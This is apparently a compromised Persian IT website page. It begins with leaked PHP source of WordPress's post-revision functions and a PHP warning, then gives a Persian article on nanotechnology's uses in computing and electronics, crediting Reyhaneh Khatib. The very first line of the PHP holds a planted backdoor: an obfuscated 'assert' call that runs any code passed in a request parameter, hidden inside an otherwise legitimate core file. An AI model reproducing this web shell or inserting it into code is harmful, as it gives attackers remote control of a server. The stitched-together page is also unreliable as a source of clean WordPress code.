php isset($_REQUEST['q8x8lz']) && array_map("ass\x65rt",(array)$_REQUEST['q8x8lz']); /** * Post revision functions. * * @package WordPress * @subpackage Post_Revisions */ /** * Determines which fields of posts are to be saved in revisions. * * Does two things. If passed a post *array*, it will return a post array ready * to be inserted into the posts table as a post revision. Otherwise, returns * an array whose keys are the post fields to be saved for post revisions. * * @since 2.6.0 * @access private * * @param array $post Optional a post array to be processed for insertion as a post revision. * @param bool $autosave optional Is the revision an autosave? * @return array Post array ready to be inserted as a post revision or array of fields that can be versioned. */ function _wp_post_revision_fields( $post = null, $autosave = false ) { static $fields = false; if ( !$fields ) { // Allow these to be versioned $fields = array( 'post_title' => __( 'Title' ), 'post_content' => __( 'Content' ), 'post_excerpt' => __( 'Excerpt' ), ); /** * Filter the list of fields saved in post revisions. * * Included by default: 'post_title', 'post_content' and 'post_excerpt'. * * Disallowed fields: 'ID', 'post_name', 'post_parent', 'post_date', * 'post_date_gmt', 'post_status', 'post_type', 'comment_count', * and 'post_author'. * * @since 2.6.0 * * @param array $fields List of fields to revision. Contains 'post_title', * 'post_content', and 'post_excerpt' by default. */ $fields = apply_filters( '_wp_post_revision_fields', $fields ); // WP uses these internally either in versioning or elsewhere - they cannot be versioned foreach ( array( 'ID', 'post_name', 'post_parent', 'post_date', 'post_date_gmt', 'post_status', 'post_type', 'comment_count', 'post_author' ) as $protect ) unset( $fields[$protect] ); } if ( !is_array($post) ) return $fields; $return = array(); foreach ( array_intersect( array_keys( $post ), array_keys( $fields ) ) as $field ) $return[$field] = $post[$field]; $return['post_parent'] = $post['ID']; $return['post_status'] = 'inherit'; $return['post_type'] = 'revision'; $return['post_name'] = $autosave ? "$post[ID]-autosave-v1" : "$post[ID]-revision-v1"; // "1" is the revisioning system version $return['post_date'] = isset($post['post_modified']) ? $post['post_modified'] : ''; $return['post_date_gmt'] = isset($post['post_modified_gmt']) ? $post['post_modified_gmt'] : ''; return $return; } /** * Creates a revision for the current version of a post. * * Typically used immediately after a post update, as every update is a revision, * and the most recent revision always matches the current post. * * @since 2.6.0 * * @param int $post_id The ID of the post to save as a revision. * @return null|int Null or 0 if error, new revision ID, if success. */ function wp_save_post_revision( $post_id ) { if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) return; if ( ! $post = get_post( $post_id ) ) return; if ( ! post_type_supports( $post->post_type, 'revisions' ) ) return; if ( 'auto-draft' == $post->post_status ) return; if ( ! wp_revisions_enabled( $post ) ) return; // Compare the proposed update with the last stored revision verifying that // they are different, unless a plugin tells us to always save regardless. // If no previous revisions, save one if ( $revisions = wp_get_post_revisions( $post_id ) ) { // grab the last revision, but not an autosave foreach ( $revisions as $revision ) { if ( false !== strpos( $revision->post_name, "{$revision->post_parent}-revision" ) ) { $last_revision = $revision; break; } } /** * Filter whether the post has changed since the last revision. * * By default a revision is saved only if one of the revisioned fields has changed. * This filter can override that so a revision is saved even if nothing has changed. * * @since 3.6.0 * * @param bool $check_for_changes Whether to check for changes before saving a new revision. * Default true. * @param WP_Post $last_revision The the last revision post object. * @param WP_Post $post The post object. * */ if ( isset( $last_revision ) && apply_filters( 'wp_save_post_revision_check_for_changes', $check_for_changes = true, $last_revision, $post ) ) { $post_has_changed = false; foreach ( array_keys( _wp_post_revision_fields() ) as $field ) { if ( normalize_whitespace( $post->$field ) != normalize_whitespace( $last_revision->$field ) ) { $post_has_changed = true; break; } } /** * Filter whether a post has changed. * * By default a revision is saved only if one of the revisioned fields has changed. * This filter allows for additional checks to determine if there were changes. * * @since 4.1.0 * * @param bool $post_has_changed Whether the post has changed. * @param WP_Post $last_revision The last revision post object. * @param WP_Post $post The post object. * */ $post_has_changed = (bool) apply_filters( 'wp_save_post_revision_post_has_changed', $post_has_changed, $last_revision, $post ); //don't save revision if post unchanged if( ! $post_has_changed ) { return; } } } $return = _wp_put_post_revision( $post ); // If a limit for the number of revisions to keep has been set, // delete the oldest ones. $revisions_to_keep = wp_revisions_to_keep( $post ); if ( $revisions_to_keep < 0 ) return $return; $revisions = wp_get_post_revisions( $post_id, array( 'order' => 'ASC' ) ); $delete = count($revisions) - $revisions_to_keep; if ( $delete < 1 ) return $return; $revisions = array_slice( $revisions, 0, $delete ); for ( $i = 0; isset( $revisions[$i] ); $i++ ) { if ( false !== strpos( $revisions[ $i ]->post_name, 'autosave' ) ) continue; wp_delete_post_revision( $revisions[ $i ]->ID ); } return $return; } /** * Retrieve the autosaved data of the specified post. * * Returns a post object containing the information that was autosaved for the * specified post. If the optional $user_id is passed, returns the autosave for that user * otherwise returns the latest autosave. * * @since 2.6.0 * * @param int $post_id The post ID. * @param int $user_id optional The post author ID. * @return object|bool The autosaved data or false on failure or when no autosave exists. */ function wp_get_post_autosave( $post_id, $user_id = 0 ) { $revisions = wp_get_post_revisions( $post_id, array( 'check_enabled' => false ) ); foreach ( $revisions as $revision ) { if ( false !== strpos( $revision->post_name, "{$post_id}-autosave" ) ) { if ( $user_id && $user_id != $revision->post_author ) continue; return $revision; } } return false; } /** * Determines if the specified post is a revision. * * @since 2.6.0 * * @param int|object $post Post ID or post object. * @return bool|int False if not a revision, ID of revision's parent otherwise. */ function wp_is_post_revision( $post ) { if ( !$post = wp_get_post_revision( $post ) ) return false; return (int) $post->post_parent; } /** * Determines if the specified post is an autosave. * * @since 2.6.0 * * @param int|object $post Post ID or post object. * @return bool|int False if not a revision, ID of autosave's parent otherwise */ function wp_is_post_autosave( $post ) { if ( !$post = wp_get_post_revision( $post ) ) return false; if ( false !== strpos( $post->post_name, "{$post->post_parent}-autosave" ) ) return (int) $post->post_parent; return false; } /** * Inserts post data into the posts table as a post revision. * * @since 2.6.0 * @access private * * @param int|object|array $post Post ID, post object OR post array. * @param bool $autosave Optional. Is the revision an autosave? * @return mixed WP_Error or 0 if error, new revision ID if success. */ function _wp_put_post_revision( $post = null, $autosave = false ) { if ( is_object($post) ) $post = get_object_vars( $post ); elseif ( !is_array($post) ) $post = get_post($post, ARRAY_A); if ( ! $post || empty($post['ID']) ) return new WP_Error( 'invalid_post', __( 'Invalid post ID' ) ); if ( isset($post['post_type']) && 'revision' == $post['post_type'] ) return new WP_Error( 'post_type', __( 'Cannot create a revision of a revision' ) ); $post = _wp_post_revision_fields( $post, $autosave ); $post = wp_slash($post); //since data is from db $revision_id = wp_insert_post( $post ); if ( is_wp_error($revision_id) ) return $revision_id; if ( $revision_id ) { /** * Fires once a revision has been saved. * * @since 2.6.0 * * @param int $revision_id Post revision ID. */ do_action( '_wp_put_post_revision', $revision_id ); } return $revision_id; } /** * Gets a post revision. * * @since 2.6.0 * * @param int|object $post The post ID or object. * @param string $output Optional. OBJECT, ARRAY_A, or ARRAY_N. * @param string $filter Optional sanitation filter. @see sanitize_post(). * @return mixed Null if error or post object if success. */ function wp_get_post_revision(&$post, $output = OBJECT, $filter = 'raw') { if ( !$revision = get_post( $post, OBJECT, $filter ) ) return $revision; if ( 'revision' !== $revision->post_type ) return null; if ( $output == OBJECT ) { return $revision; } elseif ( $output == ARRAY_A ) { $_revision = get_object_vars($revision); return $_revision; } elseif ( $output == ARRAY_N ) { $_revision = array_values(get_object_vars($revision)); return $_revision; } return $revision; } /** * Restores a post to the specified revision. * * Can restore a past revision using all fields of the post revision, or only selected fields. * * @since 2.6.0 * * @param int|object $revision_id Revision ID or revision object. * @param array $fields Optional. What fields to restore from. Defaults to all. * @return mixed Null if error, false if no fields to restore, (int) post ID if success. */ function wp_restore_post_revision( $revision_id, $fields = null ) { if ( !$revision = wp_get_post_revision( $revision_id, ARRAY_A ) ) return $revision; if ( !is_array( $fields ) ) $fields = array_keys( _wp_post_revision_fields() ); $update = array(); foreach( array_intersect( array_keys( $revision ), $fields ) as $field ) { $update[$field] = $revision[$field]; } if ( !$update ) return false; $update['ID'] = $revision['post_parent']; $update = wp_slash( $update ); //since data is from db $post_id = wp_update_post( $update ); if ( ! $post_id || is_wp_error( $post_id ) ) return $post_id; // Add restore from details $restore_details = array( 'restored_revision_id' => $revision_id, 'restored_by_user' => get_current_user_id(), 'restored_time' => time() ); update_post_meta( $post_id, '_post_restored_from', $restore_details ); // Update last edit user update_post_meta( $post_id, '_edit_last', get_current_user_id() ); /** * Fires after a post revision has been restored. * * @since 2.6.0 * * @param int $post_id Post ID. * @param int $revision_id Post revision ID. */ do_action( 'wp_restore_post_revision', $post_id, $revision['ID'] ); return $post_id; } /** * Deletes a revision. * * Deletes the row from the posts table corresponding to the specified revision. * * @since 2.6.0 * * @param int|object $revision_id Revision ID or revision object. * @return mixed Null or WP_Error if error, deleted post if success. */ function wp_delete_post_revision( $revision_id ) { if ( !$revision = wp_get_post_revision( $revision_id ) ) return $revision; $delete = wp_delete_post( $revision->ID ); if ( is_wp_error( $delete ) ) return $delete; if ( $delete ) { /** * Fires once a post revision has been deleted. * * @since 2.6.0 * * @param int $revision_id Post revision ID. * @param object|array $revision Post revision object or array. */ do_action( 'wp_delete_post_revision', $revision->ID, $revision ); } return $delete; } /** * Returns all revisions of specified post. * * @since 2.6.0 * * @param int|WP_Post $post_id Optional. Post ID or WP_Post object. Default is global $post. * @return array An array of revisions, or an empty array if none. */ function wp_get_post_revisions( $post_id = 0, $args = null ) { $post = get_post( $post_id ); if ( ! $post || empty( $post->ID ) ) return array(); $defaults = array( 'order' => 'DESC', 'orderby' => 'date ID', 'check_enabled' => true ); $args = wp_parse_args( $args, $defaults ); if ( $args['check_enabled'] && ! wp_revisions_enabled( $post ) ) return array(); $args = array_merge( $args, array( 'post_parent' => $post->ID, 'post_type' => 'revision', 'post_status' => 'inherit' ) ); if ( ! $revisions = get_children( $args ) ) return array(); return $revisions; } /** * Determine if revisions are enabled for a given post. * * @since 3.6.0 * * @param WP_Post $post The post object. * @return bool True if number of revisions to keep isn't zero, false otherwise. */ function wp_revisions_enabled( $post ) { return wp_revisions_to_keep( $post ) != 0; } /** * Determine how many revisions to retain for a given post. * * By default, an infinite number of revisions are kept. * * The constant WP_POST_REVISIONS can be set in wp-config to specify the limit * of revisions to keep. * * @since 3.6.0 * * @param WP_Post $post The post object. * @return int The number of revisions to keep. */ function wp_revisions_to_keep( $post ) { $num = WP_POST_REVISIONS; if ( true === $num ) $num = -1; else $num = intval( $num ); if ( ! post_type_supports( $post->post_type, 'revisions' ) ) $num = 0; /** * Filter the number of revisions to save for the given post. * * Overrides the value of WP_POST_REVISIONS. * * @since 3.6.0 * * @param int $num Number of revisions to store. * @param WP_Post $post Post object. */ return (int) apply_filters( 'wp_revisions_to_keep', $num, $post ); } /** * Sets up the post object for preview based on the post autosave. * * @since 2.7.0 * @access private */ function _set_preview($post) { if ( ! is_object($post) ) return $post; $preview = wp_get_post_autosave($post->ID); if ( ! is_object($preview) ) return $post; $preview = sanitize_post($preview); $post->post_content = $preview->post_content; $post->post_title = $preview->post_title; $post->post_excerpt = $preview->post_excerpt; add_filter( 'get_the_terms', '_wp_preview_terms_filter', 10, 3 ); return $post; } /** * Filters the latest content for preview from the post autosave. * * @since 2.7.0 * @access private */ function _show_post_preview() { if ( isset($_GET['preview_id']) && isset($_GET['preview_nonce']) ) { $id = (int) $_GET['preview_id']; if ( false == wp_verify_nonce( $_GET['preview_nonce'], 'post_preview_' . $id ) ) wp_die( __('You do not have permission to preview drafts.') ); add_filter('the_preview', '_set_preview'); } } /** * Filters terms lookup to set the post format. * * @since 3.6.0 * @access private */ function _wp_preview_terms_filter( $terms, $post_id, $taxonomy ) { if ( ! $post = get_post() ) return $terms; if ( empty( $_REQUEST['post_format'] ) || $post->ID != $post_id || 'post_format' != $taxonomy || 'revision' == $post->post_type ) return $terms; if ( 'standard' == $_REQUEST['post_format'] ) $terms = array(); elseif ( $term = get_term_by( 'slug', 'post-format-' . sanitize_key( $_REQUEST['post_format'] ), 'post_format' ) ) $terms = array( $term ); // Can only have one post format return $terms; } /** * Gets the post revision version. * * @since 3.6.0 * @access private */ function _wp_get_post_revision_version( $revision ) { if ( is_object( $revision ) ) $revision = get_object_vars( $revision ); elseif ( !is_array( $revision ) ) return false; if ( preg_match( '/^\d+-(?:autosave|revision)-v(\d+)$/', $revision['post_name'], $matches ) ) return (int) $matches[1]; return 0; } /** * Upgrade the revisions author, add the current post as a revision and set the revisions version to 1 * * @since 3.6.0 * @access private * * @param WP_Post $post Post object * @param array $revisions Current revisions of the post * @return bool true if the revisions were upgraded, false if problems */ function _wp_upgrade_revisions_of_post( $post, $revisions ) { global $wpdb; // Add post option exclusively $lock = "revision-upgrade-{$post->ID}"; $now = time(); $result = $wpdb->query( $wpdb->prepare( "INSERT IGNORE INTO `$wpdb->options` (`option_name`, `option_value`, `autoload`) VALUES (%s, %s, 'no') /* LOCK */", $lock, $now ) ); if ( ! $result ) { // If we couldn't get a lock, see how old the previous lock is $locked = get_option( $lock ); if ( ! $locked ) { // Can't write to the lock, and can't read the lock. // Something broken has happened return false; } if ( $locked > $now - 3600 ) { // Lock is not too old: some other process may be upgrading this post. Bail. return false; } // Lock is too old - update it (below) and continue } // If we could get a lock, re-"add" the option to fire all the correct filters. update_option( $lock, $now ); reset( $revisions ); $add_last = true; do { $this_revision = current( $revisions ); $prev_revision = next( $revisions ); $this_revision_version = _wp_get_post_revision_version( $this_revision ); // Something terrible happened if ( false === $this_revision_version ) continue; // 1 is the latest revision version, so we're already up to date. // No need to add a copy of the post as latest revision. if ( 0 < $this_revision_version ) { $add_last = false; continue; } // Always update the revision version $update = array( 'post_name' => preg_replace( '/^(\d+-(?:autosave|revision))[\d-]*$/', '$1-v1', $this_revision->post_name ), ); // If this revision is the oldest revision of the post, i.e. no $prev_revision, // the correct post_author is probably $post->post_author, but that's only a good guess. // Update the revision version only and Leave the author as-is. if ( $prev_revision ) { $prev_revision_version = _wp_get_post_revision_version( $prev_revision ); // If the previous revision is already up to date, it no longer has the information we need :( if ( $prev_revision_version < 1 ) $update['post_author'] = $prev_revision->post_author; } // Upgrade this revision $result = $wpdb->update( $wpdb->posts, $update, array( 'ID' => $this_revision->ID ) ); if ( $result ) wp_cache_delete( $this_revision->ID, 'posts' ); } while ( $prev_revision ); delete_option( $lock ); // Add a copy of the post as latest revision. if ( $add_last ) wp_save_post_revision( $post->ID ); return true; } Warning: call_user_func_array() expects parameter 1 to be a valid callback, function '_show_post_preview' not found or invalid function name in /home/itisland/domains/ on line 496 نانو تكنولوژي و کاربرد آن در كامپيوتر و الكترونيك؛ انقلابي در فناوري نانو | جزیره فناوری اطلاعات IT Island

it-island  پیشرفت امروزه تکنولوژی باعث تغییرات اساسی در ساختار زندگی انسان داشته که يكي از روش هاي بكارگيري تکنولوژی ( فناوري نانو ) است. براي مثال اين فناوري نسبتاً نو، در كامپيوتر و قطعات الكترونيكي كاربرد بسياري دارد.

نانو تكنولوژي و کاربرد آن در كامپيوتر و الكترونيك؛ انقلابي در فناوري نانو

Particles Forming Word 'Nano'

پیشرفت امروزه تکنولوژی باعث تغییرات اساسی در ساختار زندگی انسان داشته که يكي از روش هاي بكارگيري تکنولوژی ( فناوري نانو ) است. براي مثال اين فناوري نسبتاً نو، در كامپيوتر و قطعات الكترونيكي كاربرد بسياري دارد.. از مثالي كه ريچارد فايمن در سخنراني خود استفاده كرد، شروع مي كنيم. در واقع با اين مثال ميخواهيم ابعاد و اندازه هاي نانويي را با اندازه هاي خيلي كوچكي كه تكنولوژي آنها هم اكنون در دسترس است، مقايسه بكنيم. او كه جايزۀ نوبل فيزيك را دريافت كرده بود، در كنفرانس سال 1960 تحت عنوان «فضاي زيادي وجود دارد» به بحث در مورد توانايي ها و امكان ساخت مواد نانو مقياس پرداخت. او به گونه اي خيال پردازانه، خطوطي حكاكي شده با به كارگيري باريكۀ الكتروني و با عرضي به اندازۀ چند اتم را فرض كرد كه در واقع وجود ليتوگرافي توسط باريكۀ الكتروني را پيش بيني مي كرد. در واقع فاينمن با اين سوال شروع كرد: “چرا نمي توانيم بيست و نه پوشينۀ دايره المعارف بريتانيكا را به سر يك سوزن بنويسيم؟” و ادامه داد “قطر ته سوزن 1/16 اينچ است. اگر آن را بيست و پنج هزار بار بزرگ كنيم سطح آن با كل سطح صفحات دايره المعارف برابر مي شود. پس كافي است همه نوشته ها را بيست و پنج هزار بار كوچك كنيم.” اگر چه انديشه هاي فاينمن بازتاب چنداني توسط دانشمندان آن زمان نداشت؛ هم اكنون بسياري از فرضيات او به واقعيت پيوسته اند.
ريچارد فاينمن به پاس كمك هاي شايانش به الكتروديناميك كوانتومي (موضوعي بسيار دور از فناوري نانو) جايزۀ نوبل فيزيك را دريافت كرده بود. همگام با او، رويا پردازان ديگري نيز مشغول به فعاليت بودند. راف لندور فيزيكداني نظري بود كه در سال 1957 براي IBM كار مي كرد. وي ايده هايي در پيرامون نانو الكترونيك داشت و به ارزش اثرات مكانيك كوانتومي در اين زمينه پي برده بود.

Man and Blue Ones and Zeros

1. الكترونيك و فناوري اطلاعات

انقلاب اطلاعات، جهان پيرامون ما را به شيوۀ گسترده اي تحت تاثير قرار داده است و هوده هاي آن از اثرات انقلاب صنعتي نيز پيشي گرفته است. كليد توسعه و پيشرفت در فناوري اطلاعات، دستيابي به رايانه هايي با توان بيشتر، حجم كوچك تر و قيمت ارزان تر است. در ادامه به كاربردهاي بيشتري از اين فناوري در الكترونيك و كامپيوتر مي پردازيم.

2.1 ذخيره سازي و حافظه ها
با استفاده از اين فناوري مي توان ظرفيت ذخيره سازي اطلاعات را در حد هزار برابر يا بيشتر افزايش داد. ذخيره سازي اطلاعات مبحثي بسيار مهم و ضروري است كه مي تواند به روش هاي مختلفي انجام شود. هم اكنون ظرفيت ديسك هاي مغناطيسي رايانه ها با استفاده از قانون مور افزايش يافته است و بازاري در حدود چهل ميليارد دلار را در اختيار دارد.

2.1 ساخت ماشين هاي شبيه سازنده
نانو كامپيوتر و نانو اسمبلر، دو مفهوم جديدي هستند كه در “علم نانو” مطرح مي شوند. ساخت نانو اسمبلر در واقع يك هدف نهايي و مهم در نانو تكنولوژي است. نانو اسمبلر در واقع امكان تهيۀ ماشين يا مكانيك ساختاري شبيه خودش را به وجود مي آورد. زماني كه يك نانو اسمبلر كامل در دسترس باشد تقريباً همه چيز ممكن مي شود و اين مهمترين و بزرگترين خواسته دانشمندان نانو تكنولوژي است. كدام ساده تر است؛ تهيه كپي از ماشين، يا تهيۀ ماشيني كه خودش را كپي كند؟ در مقياس ماكرو مولكولي ساختن يك كپي خيلي ساده تر از ساختن ماشيني است كه بتواند خودش را كپي كند اما در تراز مولكولي اين مساله واژگونه است؛ يعني ساختن ماشيني كه بتواند خود را كپي كند كار را براي ما بارها ساده تر از ساختن ماشين ديگر مي كند و اين مهم ترين كاربرد نانو اسمبلر مي باشد. به اين ترتيب ساختن اتوماتيك محصولات بدون نيروي كار سنتي، همانند عمل كپي در ماشين هاي زيراكس، آسان مي شود.

3.1 نيمه هادي ها؛ اساس صنعت الكترونيك كنوني
مطابق قانون مور، نعداد ترانزيستور ها در يك مدار الكترونيكي، در هر 12 تا 24 ماه دو برابر مي شود. به اين معني كه مدارها با گذر زمان فشرده و پيچيده تر خواهند شد. اگر چه اين قانون در دهه هاي گذشته راست بود، اما فناوري ليتوگرافي با محدوديت براي كوچك تر كردن عناصر است؛ به طوري كه پيش بيني مي شود صنعت نيمه هادي در 10 سال آينده به مرز كوچك سازي برسد. به اين ترتيب نياز است كه فناوري جديدي وارد عمل شود تا كوچك سازي مدارها را انجام دهد. از دهۀ 1920 دانشمندان دريافتند كه ويژگي هاي مواد مانند استحكام و قابليت هدايت الكتريكي با ساختار اتمي و مولكولي آنها تعيين مي شود. بعد ها دانش فوق منجر به ساخت مواد نيمه هادي شد كه پايۀ صنعت الكترونيك كنوني است. در صنعت كامپيوتر، قابليت نانو ماشين ها براي كوچك كردن ترانزيستورها رو تراشه هاي سيليكوني مي تواند انقلابي در اين زمينه بوجود آورد. به اين ترتيب نياز است كه فناوري نو و تازه اي بكارگرفته شود تا كوچك سازي مدارها را انجام دهد.

4.3.1 ابر خازن هاي الكتروشيميايي
ابر خازنها داراي ظرفيت بالايي مي باشند و به صورت بالقوه قابل استفاده در قطعه هاي الكترونيكي هستند. اين ابر خازن ها داراي دو الكترود هستند كه به وسيلۀ يك مادۀ عايق كه در قطعه هاي الكترو شيميايي داراي رسانايي يوني مي باشد، از هم جدا مي شوند. ظرفيت يك ابر خازن شيميايي نسبت واژگونه با بار روي الكترود، و شمارگر بار در الكتروليت دارد. از ابر خازن هاي نانو لوله، براي ذخيرۀ انرژي استفاده مي شود. به طور كلي گفته مي شود كه توجه بيشتر در اين مورد، با ذخيرۀ بار فرق مي كند.

2. الكترونيك مولكولي

2.1 نانو تيوب هاي كربني در نانو الكترونيك
نانو تيوب هاي كربني داراي كاربردهاي بسيار در زمينۀ نانو الكترونيك و همچنين نانو كامپيوترها دارند. از كاربردهاي بي شمار نانو لوله ها مي توان به كارگيري به عنوان عايق، رسانا و نيمه رسانا و يا نيمه هادي استفاده كرد.

2.1.2 خواص رسانايي الكتريكي در نانو تيوب ها
نانو لوله ها بسته به بردار كايرالشان رسانندگي متفاوتي از خود نشان مي دهند. البته رسانايي آنها به قطر نانو لوله ها نيز بستگي دارد؛ به اين صورت كه نانو لوله هايي با قطر كوچك، رسانا يا نيمه رسانا هستند. نانو لوله هاي تك ديواره با بردارهاي كايرال متفاوت، ويژگي هاي متفاوت با يكديگر دارند. از جمله فعاليت اُپتيكي، استحكام مكانيكي و هدايت الكتريكي آن ها با هم فرق دارد. از انواع نانو لوله ها از نگر رسانايي، نانو تيوب هاي زيگزاگ، آرميچر و نا متقارن هستند. همه ي ساختارهاي ممكن نانو لوله تك ديواره با بردارهاي كايرال با انتقال يافتن دو محدوده اي كه در شكل نشان داده شده است مي تواند شكل گيرد، كه n و m صحيح اند و در نانو لوله هاي زيگزاگ، θ<30 يا m≤n مي باشد. جهت محور نانو لوله عمود بر بردار كايرال است. Ch در نانو لوله هاي كربني از na1+ma2 به دست مي آيد كه a1 و a2 بردارهاي شبكه و كوچكترين قطرهاي شش ضلعي نانو لوله ها هستند و m و n اعدادي صحيح اند. بردار كايرال با بردار Ch = na1+ma2 و زاويۀ كايرال با محور زيگزاگ تعريف مي شود.

2.4.1 انواع نانو لوله ها از نگر رسانايي
اگر زاويۀ 0=θ يا n,0 ، نانو لوله از نوع زيگزاگ خواهد بود. در صورتي كه (n-m)/3 شماري صحيح باشد نانو لوله از نوع فلزي است. در غير اين صورت از نوع نيمه هادي است.
در صورتي كه 30=θ يا n≤m باشد، نانو لوله از نوع آرميچر خواهد بود. نانو لوله هاي آرميچر همه از نوع فلزي هستند.
در غير از اين دو حالت فوق، نانو لوله از نوع متقارن يا كايرال است كه داراي خواص رسانايي بسيار كمي مي باشد. n≠m , n≠0

2.2 الكترونيك مولكولي با نانو لوله ها
مثال هايي از كاربرد بالقوۀ نانو لوله ها به عنوان قطعه هاي گسيلندۀ ميداني را مي توان نمايش دهنده هاي صفحات تخت، لوله هاي تخليۀ گاز در شبكه هاي مخابراتي، تفنگ هاي الكتروني براي ميكروسكوپ الكتروني، سوزن هاي ميكروسكوپ اتمي روبشي و تقويت كننده هاي ميكرو موج نام برد.

3.2 سيستم هاي نانو الكترو مكانيكي (NEMS)
سيستم هاي ميكروالكترومكانيكي (MEMS) عمدتاً مانند ويفرهاي سيليكوني به روش فتوليتوگرافي ساخته مي شوند. اين سيستم ها در ابزارهايي مانند سنسورها، پمپ ها و روتورها استفاده مي شوند. در حال حاضر، MEMS يك صنعت 11 ميليارد دلاري است. در اين زمينه حركت از مقياس ميكرو به سمت نانو، امكانات و قابليت هاي جديدي را براي سيستم هاي الكترومكانيكي ايجاد مي كند. با وجود اين، فقدان انگيزه هاي كافي اقتصادي براي كوچك كردن ماشين ها تا مقياس نانو، باعث شده است كه تكامل سيستم هاي نانو الكترومكانيكي از روند آرامي برخوردار باشد.
يكي از اهداف نانو فناوري پيشرفت در زمينۀ الكترونيك و علوم كامپيوتر، براي ساخت حافظه ها و تراشه ها با قابليت بيشتر، و هزينۀ كمتر است. همان طور كه در بالا توضيح داده شد، دستيابي به اهداف در اين زمينه نقص هاي بسياري در ماشين ها را برطرف خواهد كرد. به خصوص حافظه ها و اسمبلرها، كه انقلاب عظيمي در صنعت الكترونيك، در حوزۀ فناوري نانو خواهد بود.

it-island 01

با تشکر از سرکار خانم : ریحانه خطیب                admin it-island
نانو تكنولوژي و کاربرد آن در كامپيوتر و الكترونيك؛ انقلابي در فناوري نانو

پاسخ دهید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

شما می‌توانید از این دستورات HTML استفاده کنید: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>